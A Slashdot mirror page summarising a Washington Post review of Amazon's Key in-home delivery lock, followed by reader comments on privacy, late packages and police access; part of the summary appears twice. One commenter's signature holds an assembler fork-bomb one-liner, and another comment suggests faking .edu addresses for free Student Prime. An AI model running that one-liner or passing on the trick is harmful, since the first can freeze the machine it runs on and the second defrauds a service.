Slashdot Mirror
Reporter Regrets Letting Amazon's Delivery People Into His House (washingtonpost.com)
An anonymous reader writes:
Washington Post reporter Geoffrey A. Fowler describes his short-lived experience with "Amazon Key", a $250 smart lock system with a security camera that grants Amazon's delivery people access to your home. The lock sounds "like R2-D2 with constipation," and at one point it actually jammed (though his persistent delivery person eventually got it working properly). The unlocking of the door triggers a live video feed of the delivery -- which is also stored in a private archive online -- plus an alert to your phone -- and the Post's reporter writes that "The biggest downsides to the experience haven't been the strangers -- it's been Amazon."
They missed their delivery windows four out of eight times, and though the packages all arrived eventually, all four were late by a least a day. But his larger issue is that Amazon "wants to draw you further into an all-Amazon world... Now Amazon wants to literally own your door, so it can push not just packages but also services that come through it, like handymen, dog-walkers, groceries, you name it." His ultimate question? "Who's really being locked in?"
The Post's reporter notes that Amazon CEO Jeff Bezos owns the Washington Post, "but I review all tech the same." He did identify some advantages to the $250 smart lock system -- the door can now also be unlocked with the Amazon Key app, and he can even share that access with his friends by giving them a special access code.
But he also notes that security researchers discovered a way to freeze Amazon's security camera, potentially allowing a rogue delivery person to lurk in your house. And all things considered, it was apparently all too creepy. "After two weeks, my family voted to remove the Amazon Key smart lock and take down the camera."
They missed their delivery windows four out of eight times, and though the packages all arrived eventually, all four were late by a least a day. But his larger issue is that Amazon "wants to draw you further into an all-Amazon world... Now Amazon wants to literally own your door, so it can push not just packages but also services that come through it, like handymen, dog-walkers, groceries, you name it." His ultimate question? "Who's really being locked in?"
The Post's reporter notes that Amazon CEO Jeff Bezos owns the Washington Post, "but I review all tech the same." He did identify some advantages to the $250 smart lock system -- the door can now also be unlocked with the Amazon Key app, and he can even share that access with his friends by giving them a special access code.
But he also notes that security researchers discovered a way to freeze Amazon's security camera, potentially allowing a rogue delivery person to lurk in your house. And all things considered, it was apparently all too creepy. "After two weeks, my family voted to remove the Amazon Key smart lock and take down the camera."
My current pet peeve is getting into delivery race-condition. They leave a note a the door - someone must sign but no option to sign and leave at front door? So then you miss day two, and when you get home from work you call, only to find that package won't be at local facility until after 8 blah blah... Spent extra for overnight shipping and you don't get package for three days.
sigs are for losers (except to point out that sigs are for losers)
Nothing happened worth regretting. He pretty much just doesn't want to give amazon control to his lock because paranoia but that's the service he signed up for!
for Amazon to just leave the package at the customer's local post office or UPS office, or similar package handlers, then they could just go to the postoffice with a photo ID or driver's licence proving who they are and then pick up the package at their convenience, there is no way in hell am i going to let amazon or anyone else have access to my house like that
Politics is Treachery, Religion is Brainwashing
They need this but instead of access to your house it needs to access a large lock box.
...what possibly could go wrong ???
In this case, nothing. The reporter just doesn't like the concept of in-home delivery, signed up for it anyway, and then wrote an article about how he doesn't like the concept because it was "creepy", even though in practice it worked out fine.
The reporter took too long to work out what many people here already know; that letting a person into your private residence really does feel scummy.
Laws are rules for the court, but merely a bottom bar to hit for life. Think beyond laws in your actions always.
Here's the interesting thing about Prime. As a grad student, I have a university account, which entitled me to 6 months of "student Prime" for free. I put in the email -- they never verified it, just "turned on" Prime for 6 months (I set it to auto-cancel after the free trial was up immediately). Meaning that someone could just make up plausible-sounding .edu addresses and get free Prime for life.
Better solution would be a secure Bin or Box that you place outside possibly next to your Mailbox or Combined with it.
I have WAY fewer issues giving the access code to a box outside.
and cops without warrants.
Entering your home without a warrant is a crime. Having a key does not make it magically legal for them to enter.
There are only something like 10,000 key variations for a GM pickup. There are millions of them on the road. Does that make it legal for me to just get in any truck my key happens to fit in? That's the logic you just expressed. They existence of a key changes nothing. A warrant is still needed.
Mike @ The Geek Pub. Let's Make Stuff!
I'm writting this as someone who would NEVER install a service like this, but it's quite clear that Geoffrey, the author of the piece, had already decided what to think of the service previous to reviewing it - very bad practice.
Out of all his complaints, the majority of it is due to early adopter grievances or unrelated crap.
For instance, he complains about not getting the delivery on the day promised. This isn't due to Amazon Key, it's due to the delivery service itself being late. Would installing Key change the speed in which packages would come? Doesn't sound like so.
On another part he talks about his door not being appropriate, having trouble with installation, and the door almost locking delivery service outside. Honestly, I think this is something people should expect - not all doors are made equal, not all of them are in a good enough shape to install electronic locks, and not all of them will work perfectly outright - this is a problem most electronic key installations could have.
Then he goes on a complete tirade about walled gardens and whatnot which should be quite obvious to anyone purchasing something like this - of course you are increasing the likelihood of getting Amazon stuff if you are buying a system from them to get access into your home. Much like the Amazon Dash Buttons and whatnot, it's meant to make it more convenient to get stuff from them. More importantly though, since you can share the key to others, this should stop no one from getting services from another company and just sending a temporary key to them instead.
Anyways, like I said, I'd never get something like this even if it was available for me, because the ammount of convenience it'd give me is not enough to counterweight privacy worries plus the fact that I'd never install IoT devices in my home without very strong justification - it's yet another thing connected to the Internet that will obviously need constant updates, maintenance and whatnot.
But there are legitimate reasons to have something like this, and they were mildly covered in the piece. Homes with people with limited mobility. People who are never at home and already had purchases stolen from their front porches. People who were already hiding keys in places for delivery people to get in because they have no other option.
I don't think anyone has to like this thing, quite the opposite. It's a system I'd only recommend for people who has had an unsolvable problem regarding product delivery for years. But the review was kinda crap.
Mailinator needs a .edu domain.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The same people complaining about this think nothing of staying in a hotel or motel where a low paid maid enters what is essentially their bedroom. If you ask me it would be more creepy to be the delivery guy, especially given what one is likely to see if they have to enter the homes of some of the people posting on Slashdot.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Took two weeks to sour on and remove the camera? Because the way we are headed it will take twice as long with the 2027 camera in our new smart underwear.
Seriously, who in their right mind thinks it's okay to hang your home's security on an IoT device operated by random strangers who are allowed to enter your home?
This is nothing more than a disaster waiting to happen. Wait until the first burglaries, robberies, home invasions, rapes, and murders result from this brain-dead idea.
Will Amazon issue a press release that says, "Whoops, sorry about that- we didn't mean to let your whole family be murdered by a random nutjob who spoofed the access code to your home. This bug should be fixed in version 2.3.00.4.8, due out next month."
Just cruising through this digital world at 33 1/3 rpm...
letting a person into your private residence really does feel scummy.
My housekeeper comes twice a month while I am at work, and there is no camera watching her except at the entry. I have private documents in my home office, so I lock the door to that room, and she doesn't go in there. It felt "creepy" for the first month, then I got used to it.
I have no need for Amazon's in-home delivery, but if I used it, I am sure I would get over the "creepiness" factor very quickly.
This reporter may feel uncomfortable about someone coming into his home, but his personal feelings are not "news".
Let Amazon place a sturdy 2'x3' steel locker somewhere on your property. This won't solve all of the unattended delivery issues but it will prevent random fuckers from being able spoof an access code and enter your home while you're not there.
Just cruising through this digital world at 33 1/3 rpm...
Tell them to leave it at a local pick-up. I do that and just pick it up on the way home.
Twinstiq, game news
No, THIS IS NOT WHAT THE REPORTER REGRETS.
He regrets the fact that some of Amazon's delivery attempt windows during this busy season didn't line up with actual time-at-the-door. He regrets that Amazon's supported hardware doesn't yet interact well with some other systems/apps/devices he'd like to use to police his front door (like, he can't YET easily let his dog walker use an app to gain entrance unless that dog walker uses Amazon to cashier their dog walking service, etc).
To the contrary, he thinks Amazon did a good job with the way they limit access, record access, alert about access, and limit which drivers are allowed to even work under this scheme. Why the lying headline, slashdot? Never mind, we already know.
Don't disappoint your bird dog. Go to the range.
His complaint about late packages is very valid.
... except it is orthogonal to "in-home delivery". Late packages are a problem regardless of whether the delivery is placed in the home or left on the porch.
Yes, or your coworkers might. Other folks at my office have personal packages delivered to the office, but they come to our office rather than the building they are in, and the constant flow can be rather disruptive at times.
Were that I say, pancakes?
I'm sorry, but when I routinely read reports of police getting away with murder, don't expect me to believe they always pay attention to the requirement of a warrant.
I think we've pushed this "anyone can grow up to be president" thing too far.
Before I retired I routinely had packages delivered to me at work. We had about 100 people working there, so not large, but also not small.
I think we've pushed this "anyone can grow up to be president" thing too far.
It's a service. Someone people need it. Some don't. If it's not for you, that's fine. Stop whining.
I love this brilliant insight "wants to draw you further into an all-Amazon world..." Well no shit Sherlock. Name one megacompany that doesn't want to draw you further into their world.
I hate that amazon is trying to trick people into getting prime. They offer a "click here for FREE SHIPPING!" button several times during the checkout procedure. My mother was scammed into this, she had a Prime account but had no idea what a Prime account was or that her FREE SHIPPING was costing money. This is a problem for older generations who are much less able to understand the implications of what's happening on the internet (such as who you should or shouldn't give your credit card or bank account number to). Online shopping could be a very useful tool for older people who can't get out to the stores easily, but it's also one of the most dangerous things on the internet. Young people know what Prime is and will subscribe on their own if they want to without the hard sell.
They were really awful about cancelling the 6-month trial (setting it to non-renewal). Are you sure? Y/N Are you double sure? You'll lose blah-blah-blah benefits and free shipping. Y/N. Are you really, trebly sure? Y/N.
The article itself is crap.
The whole reason for this is neighborhoods where people will steal things from your porch which fortunately I have no problem with and also weather for people not fortunate enough to live in southern California. I do like the amazon storage lockers at the 7-11 down the street and use it simply for a certain level of privacy. At the house I currently reside in if I really wanted I could build a bolted down locker of my own while using amazons keybox. I can also imagine using such as system for the backyard gate.
> >so it can push not just packages but also services that come through it, like handymen, dog-walkers, groceries, you name it
>no way in hell am i going to let amazon or anyone
Here's a new take. If more people are being granted access to the domicile, why not have amazon provide the people that you really want in - security, housekeepers, cooks, babysitters, plumbers, Jehovah's witnesses (well maybe not that one), etc. You might not be able to afford to give any one of these full time work, but if there's a pool of them, it might be worth it to save your own time on menial work. Rather than needing a special lock and paraphernalia/paranoia, you live a more open life harking back to the days when people didn't even leave their doors locked.
I, for one, welcome our amazon overlords^H^H^H^H^H^H^H^H^H extended family.
Know your pads. One time pad: good for cryptography. Two timing pad: where to take your mistress.
And how should they be able to present any result from said unlawful search to a court (assuming a US court here)? I would think that getting away with murder as a cop (I swear that I saw him reaching for what I believed to be a gun) is orders of magnitude easier.
You know who your housekeeper is. You interview her before you use her services. Or do you let a different housekeeper in twice a month, I would find that creepy too.
Laws are rules for the court, but merely a bottom bar to hit for life. Think beyond laws in your actions always.
I'm late to this party and I hope my question isn't redundant. (I'm asking for a friend)
What happens when you ARE home during the delivery? You might be relaxing in front of the big screen enjoying some righteous pron and getting your wrist exercise for the day. You might be doing your cosplay version of Princess Leia. You might be entertaining the stud next door through the back door. Or you might just be lying in your upchuck in a drunken stupor on the floor.
Not too worried about a delivery when I'm *not* home.
...omphaloskepsis often...
The hotel maid enters the hotel's bedroom, which you are simply renting for a day or so. You don't have all your possessions in that room, the hallway oustide that room, and the rooms next to or underneath that room. It is nothing like your own home/apartment as far as privacy goes.
If you think I voted for Trump because of this post, you're wrong. I voted for Dr. Jill Stein of the Green Party. Again.
> >so it can push not just packages but also services that come through it, like handymen, dog-walkers, groceries, you name it
>no way in hell am i going to let amazon or anyone
Here's a new take. If more people are being granted access to the domicile, why not have amazon provide the people that you really want in - security, housekeepers, cooks, babysitters, plumbers, Jehovah's witnesses (well maybe not that one),
Why wouldn't I want my relatives to come in?
If you think I voted for Trump because of this post, you're wrong. I voted for Dr. Jill Stein of the Green Party. Again.
shit idea to begin with.
Some people live in extended stats dumbfuck.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Architecture is still stuck in 30s. It is so easy to build an apartment or the whole house with an inbuilt system for internet deliveries.
Even in that case, the room still belongs to the hotel, and maids are going to be entering the room every day.
If you think I voted for Trump because of this post, you're wrong. I voted for Dr. Jill Stein of the Green Party. Again.
That's my point dumbfuck.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Looking at your comments above, I'm not sure you know what your point is. And I certainly don't know why you have such animosity about it. Have a good day.
If you think I voted for Trump because of this post, you're wrong. I voted for Dr. Jill Stein of the Green Party. Again.
Presumably Amazon makes more on the student Prime than they lose on people creating new .edu accounts. It's up to them to decide how much effort they put into making sure people don't take advantage of them.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes